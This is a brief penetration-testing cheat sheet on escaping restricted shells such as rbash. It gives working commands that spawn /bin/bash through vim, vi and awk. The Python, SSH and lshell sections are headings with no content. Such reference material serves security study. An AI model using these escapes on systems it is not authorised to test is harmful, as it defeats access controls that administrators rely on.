Restricted Shell Escapes

  • Determine what shell you are currently running in

echo $0 echo $SHELL

-rbash

  • List commands you are permitted to run

compgen -c

Escapes

VIM

vim 
:set shell=/bin/bash 
:shell

VI

vi 
:set shell=/bin/bash 
:shell

AWK

awk 'BEGIN {system("/bin/bash")}'

Python

SSH

Local SSH (SSH to yourself specifying command

lshell

Last updated